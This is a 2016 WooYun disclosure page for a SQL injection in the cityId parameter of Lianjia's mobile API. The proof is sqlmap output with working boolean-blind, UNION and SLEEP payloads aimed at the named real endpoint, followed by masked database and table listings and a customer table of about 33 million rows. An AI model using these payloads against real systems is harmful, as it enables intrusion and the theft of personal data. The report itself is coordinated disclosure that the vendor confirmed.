当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0197762

漏洞标题：链家网存在SQL注入漏洞(主站数据库/3300万用户)

相关厂商：链家网

漏洞作者： 猪猪侠

提交时间：2016-04-18 12:28

修复时间：2016-06-04 23:10

公开时间：2016-06-04 23:10

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-04-18： 细节已通知厂商并且等待厂商处理中
2016-04-20： 厂商已经确认，细节仅向厂商公开
2016-04-30： 细节向核心白帽子及相关领域专家公开
2016-05-10： 细节向普通白帽子公开
2016-05-20： 细节向实习白帽子公开
2016-06-04： 细节向公众公开

简要描述：

链家网存在SQL注入漏洞，主站数据库，可UNION，影响3300万用户信息

详细说明：

#1 影响服务器
http://m.api.lianjia.com
#2 注入点
http://m.api.lianjia.com/web/ershoufang/sidebar?callback=jQuery1111010487171867862344_1460815277788&cityId=320100&id=320100&uuid=62bf4246-294e-457f-9790-8bc572c0886f&ucid=&type=city&_=1460815277789
#3 注入参数
cityId

漏洞证明：

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: cityId (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: callback=jQuery111104495485157240182_1460843660050&cityId=120000) AND 2210=2210 AND (5341=5341&id=120000&type=city&_=1460843660051
    Type: UNION query
    Title: MySQL UNION query (NULL) - 7 columns
    Payload: callback=jQuery111104495485157240182_1460843660050&cityId=120000) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b716271,0x4b566d736b4677585a46,0x716a7a7071)#&id=120000&type=city&_=1460843660051
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: callback=jQuery111104495485157240182_1460843660050&cityId=120000) AND SLEEP(5) AND (2001=2001&id=120000&type=city&_=1460843660051
---
[12:24:27] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11


available databases [8]:


mask 区域


*****ssio*****
*****aic*****
*****dic*****
*****tion_s*****
*****ian*****
*****esmg*****
*****est*****
*****ser*****








Database:


mask 区域


*****nj*****
*****tab*****
*****----------*****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****ew        *****
*****y         *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****d         *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****ds        *****
*****          *****
*****          *****
*****g_code    *****
*****          *****
*****n         *****
*****          *****
*****          *****
*****          *****
*****          *****
*****nt        *****
*****relation  *****
*****relation_n*****
*****ld        *****
*****          *****
*****nt        *****
*****          *****
*****ry        *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****t         *****
*****nts       *****
*****se        *****
*****e         *****
*****e_picture *****
*****ord       *****
*****          *****
*****          *****
*****          *****
*****on        *****
*****          *****
*****house     *****
*****resblock  *****
*****          *****
*****_city     *****
*****ndency    *****
*****ess       *****
*****          *****
*****mment     *****
*****rite      *****
*****          *****
*****          *****
*****t         *****
*****t_setting *****
*****lect      *****
*****account   *****
*****transactio*****
*****ion_activi*****
*****ion_activi*****
*****ion_code  *****
*****ion_histor*****
*****ion_reward*****
*****          *****
*****category  *****
*****history   *****
*****n         *****
*****          *****
*****          *****
*****          *****
*****ate       *****
*****          *****
*****classify  *****
*****image     *****
*****state     *****
*****          *****
*****          *****
*****nt        *****
*****          *****
*****age       *****
*****          *****
*****p         *****
*****          *****
*****          *****
*****signup    *****
*****state     *****
*****          *****
*****age       *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****          *****
*****g_group   *****
*****_quality  *****
*****_quality  *****
*****uality    *****
*****_quality  *****
*****k_agent   *****
*****k_quality *****
*****gent      *****
*****          *****
*****          *****
*****0160314   *****
*****016314    *****
*****          *****
*****          *****
*****t_lib     *****
*****          *****
*****          *****
*****t_detail  *****
*****g         *****
*****l         *****
*****          *****
*****t         *****
*****          *****
*****ontent    *****
*****          *****
*****l         *****
*****          *****
*****          *****
*****          *****
*****          *****
*****_agent    *****
*****          *****
*****          *****
*****nu        *****
*****          *****
*****          *****
*****          *****
*****enu       *****
*****          *****
*****          *****
*****          *****
*****_zhuanjia *****
*****          *****
*****elation   *****
*****ags       *****
*****og        *****
*****y         *****
*****          *****
*****          *****








[12:30:00] [INFO] retrieved: 33318624
Database: lianjia
+---------------+---------+
| Table         | Entries |
+---------------+---------+
| customer_info | 33318624 |
+---------------+---------+

修复方案：

版权声明：转载请注明来源 猪猪侠@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2016-04-20 23:00

厂商回复：

感谢！

最新状态：

暂无

漏洞评价：

评价

  1. 2016-04-18 12:38 | y1ngz1 ( 路人 | Rank:23 漏洞数:5 | 一起交流，一起学习～ email:y1ng@jdsec.c...)

    我只想到了 欢乐喜剧人 2333333333333333333

  2. 2016-04-18 12:39 | 87技术联盟-Jack ( 路人 | Rank:12 漏洞数:6 | 来自于浩瀚网络中的小白！)

    6666666

  3. 2016-04-18 12:42 | ning1022 ( 普通白帽子 | Rank:183 漏洞数:74 | 技术万能，技术万万不能！)

    好强！！

  4. 2016-04-18 12:46 | Nan3r ( 实习白帽子 | Rank:44 漏洞数:16 | 没有简介)

    前排

  5. 2016-04-18 12:47 | Q1NG ( 普通白帽子 | Rank:148 漏洞数:27 | 临 兵 斗 者 皆 阵 列 前 行 !)

    心疼我大鸟哥

  6. 2016-04-18 12:48 | 西西 ( 普通白帽子 | Rank:1074 漏洞数:281 | 工欲善其事，必先利其器。)

    前排混脸熟。

  7. 2016-04-18 13:03 | 阿狸 ( 路人 | Rank:14 漏洞数:4 | 小独孤)

    前排混脸熟。

  8. 2016-04-18 13:03 | shlhack‘s bother ( 普通白帽子 | Rank:237 漏洞数:95 | 大哥是shlhack,二哥是大禹888，小杰哥他哥...)

    卧槽，帮我查查我的密码

  9. 2016-04-18 13:35 | 凌风 ( 实习白帽子 | Rank:62 漏洞数:26 | 像风一样无声)

    只想说666

  10. 2016-04-18 13:40 | sky666 ( 普通白帽子 | Rank:140 漏洞数:38 )

    666,猪猪侠大神，你最近挖的洞真多。

  11. 2016-04-18 18:50 | 小挺 ( 实习白帽子 | Rank:45 漏洞数:15 | 在读大三学生，来找工作！)

    太6了！！！

  12. 2016-04-19 10:04 | 岛云首席鉴黄师 ( 普通白帽子 | Rank:488 漏洞数:129 | icisaw.cn 超低价虚拟主机VPS 购买返现 支...)

    心疼鸟哥

  13. 2016-04-19 16:32 | 雷锋 ( 路人 | Rank:12 漏洞数:2 | 看人生万般无奈，看世间千姿百态...)

    这个必须赞！！！！！！

  14. 2016-04-20 23:28 | hkcs ( 实习白帽子 | Rank:56 漏洞数:9 | 只是路过)

    666

  15. 2016-04-21 07:31 | 倦意 ( 普通白帽子 | Rank:120 漏洞数:40 | 不言不语的都是好风景。)

    a

  16. 2016-04-21 08:22 | Dotaer ( 路人 | Rank:22 漏洞数:6 | 多学习，多挖洞！)

    看喜剧人的时候就去挖了下，好像有注入！之后光看喜剧人了.....

  17. 2016-04-21 09:54 | dragon110 ( 路人 | Rank:4 漏洞数:2 | 谨言、慎行、多思。)

    66666

  18. 2016-04-22 09:53 | 阿笑 ( 路人 | Rank:10 漏洞数:2 | 只是想要一个帐号)

    献上膝盖

  19. 2016-06-04 23:22 | Dusk ( 路人 | Rank:23 漏洞数:16 | 一波Rank即将到来)

    猪哥好拼